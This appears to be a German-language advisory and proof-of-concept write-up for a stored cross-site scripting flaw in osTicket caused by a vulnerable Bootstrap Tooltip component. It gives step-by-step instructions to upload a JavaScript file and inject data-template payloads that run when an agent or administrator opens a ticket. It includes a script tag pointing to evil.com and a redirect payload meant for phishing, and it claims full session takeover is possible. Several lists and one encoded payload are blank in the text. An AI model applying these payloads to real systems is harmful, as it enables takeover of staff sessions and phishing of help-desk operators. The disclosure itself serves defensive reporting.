weswrench/cve-2026-36214Stored Cross-Site Scripting (XSS) in osTicket via verletzliche Bootstrap Tooltip Component
Enhancesoft osTicket-Versionen von 1.10 bis 1.17.7 und von 1.18.0 bis 1.18.3 werden mit der bekannten anfälligen Bootstrap-Tooltip-3.3.4-Komponente (CVE-2019-8331) ausgeliefert, die eine gespeicherte Cross-Site-Scripting (XSS)-Sicherheitslücke einführt. In der Standardkonfiguration von osTicket können Ticket-Einreicher („Benutzer“) Tickets ohne vorherige Authentifizierung einreichen, und die Selbstregistrierung von Benutzern ist standardmäßig geöffnet. Ein entfernter Benutzer kann eine bösartige Ticket-Nachricht erstellen, die trotz Durchlaufens des htmlLawed-HTML-Bereinigungsmoduls zur Ausführung beliebigen JavaScript-Codes im Browser eines betrachtenden Agenten oder Administrators führt. Dieses Problem wird noch dadurch verschärft, dass vom Benutzer hochgeladene JavaScript-Dateien mit einem Content-Type vom Typ text/javascript ausgeliefert werden, der die Ausführung von JavaScript ermöglicht, sodass sie von Browsern als aktiver Inhalt interpretiert werden können. Während Inline-Payloads durch die Art und Weise eingeschränkt sind, wie Bootstrap Tooltip 3.3.4 den data-template-Wert in ein jQuery-Objekt parst und es über appendTo() oder insertAfter() in das DOM einfügt, umgeht die Ausführung von vom Angreifer kontrolliertem Code als externer Skripte diese Einschränkungen und ermöglicht eine stärkere Ausnutzung der Sicherheitslücke.
Getestet und als anfällig bestätigt:
Betroffene Versionen:
Diese Komponente ist seit dem 13. Mai 2015 im osTicket-Codebase vorhanden, wie zu sehen ist an:
scp/js/bootstrap-tooltip.jse5a28410ae7c238932eef07c2b3568da015a792cDieser Commit ist osTicket-Release-Tags zugeordnet, die bis zur Version 1.10 zurückreichen, was darauf hindeutet, dass die anfällige Bootstrap-Tooltip-Komponente über einen weiten Bereich von osTicket-Releases über mehrere Hauptversionen hinweg enthalten war. Diese langfristige Einbindung legt stark nahe, dass viele über mehrere Jahre veröffentlichte osTicket-Versionen betroffen sind.
osTicket ist ein weit verbreitetes Open-Source-Ticketing-System, das Endbenutzern das Einreichen umfangreicher HTML-Inhalte und Dateianhänge im Rahmen der Ticket-Erstellung und -Antworten ermöglicht.
osTicket definiert drei Hauptkategorien von Benutzern:
Jegliche HTML-Inhalte, die von einem Benutzer eingereicht werden, können später im Browser eines Agenten oder Administrators dargestellt werden, wodurch clientseitige Sicherheitslücken besonders folgenreich sind.
Authentifizieren Sie sich zunächst mit Ihrem Endbenutzerkonto und rufen Sie die Ticket-Erstellungsseite auf.
Erstellen Sie dann eine JavaScript-Datei (z. B. test.js), die einen Payload enthält. Zum Beispiel:
alert(123);
Hinweis: Standardmäßig erlaubt osTicket Ticket-Anhänge ohne Dateityp-Einschränkungen.
Reichen Sie dann das Ticket ein, indem Sie auf „Ticket erstellen“ klicken, ohne „Problemdetails“ anzugeben.
Die Anwendung leitet uns zurück zum Ticket-Einreichungsformular mit der Fehlermeldung „Problemdetails ist ein Pflichtfeld“.
Diese Seite ermöglicht es uns, einen Download-Link für unsere JavaScript-Datei (test.js) abzurufen, ohne tatsächlich ein Ticket einzureichen.
Sobald Sie diesen Link erhalten haben, kehren Sie zum Ticket-Einreichungsformular zurück.
Klicken Sie auf den HTML-Editor und fügen Sie diesen Payload ein. Ersetzen Sie dabei das src-Attribut des script-Tags durch den zuvor erhaltenen Link.
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='[LINK_HIER]'>"></div>
<input>
Nachfolgend ein Beispiel für einen vollständigen Payload, bei dem das Muster [LINK_HIER] durch den zuvor erhaltenen Link ersetzt wurde:
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='http://localhost:8080/file.php?key=rjfge-qlcmbwgnsfl8hhwktyhctre-_e&expires=1768780800&signature=5044f8201f041228de077a2e025e6fc118b31223'>"></div>
<input>
Reichen Sie dann das Ticket ein.
Wenn ein Administrator oder Agent unser bösartiges Ticket anzeigt, wird der Payload ausgelöst.
Ergebnis:
Wenn ein Administrator/Agent das bösartige Ticket öffnet, wird der JavaScript-Payload geladen und im Kontext der Administrator-/Agent-Sitzung ausgeführt.
Dies führt zu einem gespeicherten XSS, das eine vollständige Übernahme der Sitzung ermöglicht (z. B. über ezXSS, CSRF zur Durchführung von Administrator-/Agent-Aktionen).
Wenn das bösartige Ticket von einem Agenten angezeigt wird, wird das gespeicherte XSS im Kontext der authentifizierten Sitzung des Agenten ausgeführt.
Dies ermöglicht es einem Angreifer, die Agenten-Sitzung effektiv zu übernehmen, ohne das Sitzungs-Cookie extrahieren zu müssen (z. B. selbst in Szenarien, in denen die Cookie-Exfiltration nicht praktikabel ist und eine Blind-XSS-Plattform wie ezXSS verwendet wird). Sobald das XSS ausgeführt wird, kann der Angreifer jede Aktion durchführen, die der kompromittierte Agent ausführen darf, zum Beispiel:
Dies führt zu einer vollständigen Kompromittierung der operativen Fähigkeiten des Agenten und der Vertraulichkeit/Integrität des Ticketing-Workflows.
Wenn das bösartige Ticket von einem Administrator angezeigt wird, eskaliert die Auswirkung zu einer vollständigen Kompromittierung der Anwendung. Der Angreifer kann:
Obwohl die Standardkonfiguration von osTicket das Hochladen von JavaScript-Dateien erlaubt, kann osTicket im Admin-Panel so konfiguriert werden, dass ein Endbenutzer keine JavaScript-Dateien hochladen darf.
Darüber hinaus erzwingt das von Agenten und Administratoren verwendete Mitarbeiter-Kontrollzentrum eine Content Security Policy, die die Ausführung von JavaScript von Drittanbieter-Domains verhindert.
Betrachten wir als Beispiel den folgenden Payload:
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='http://evil.com'></object>"></div>
<input>
Der folgende Screenshot zeigt, dass das Laden eines Skripts von https://evil.com durch die im Mitarbeiter-Kontrollzentrum erzwungene Content Security Policy blockiert wurde.
Allerdings erlaubt die in der Anwendung implementierte Content Security Policy Inline-JavaScript.
Falls das Hochladen von JavaScript-Dateien blockiert ist, ist es einem Angreifer dennoch möglich, bösartige Aktionen durchzuführen. Betrachten wir den folgenden Payload:
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template=""></div>
<input>
Der Base64-Payload dekodiert zu:
<script>top.location = "https://example.com";</script>
Dieser Payload ermöglicht es einem Angreifer, einen Agenten oder Administrator, der das bösartige Ticket ansieht, auf eine beliebige Website umzuleiten, beispielsweise eine Phishing-Seite.
Hier ist das Ergebnis nach dem Anzeigen eines Tickets, das den obigen Payload enthält.
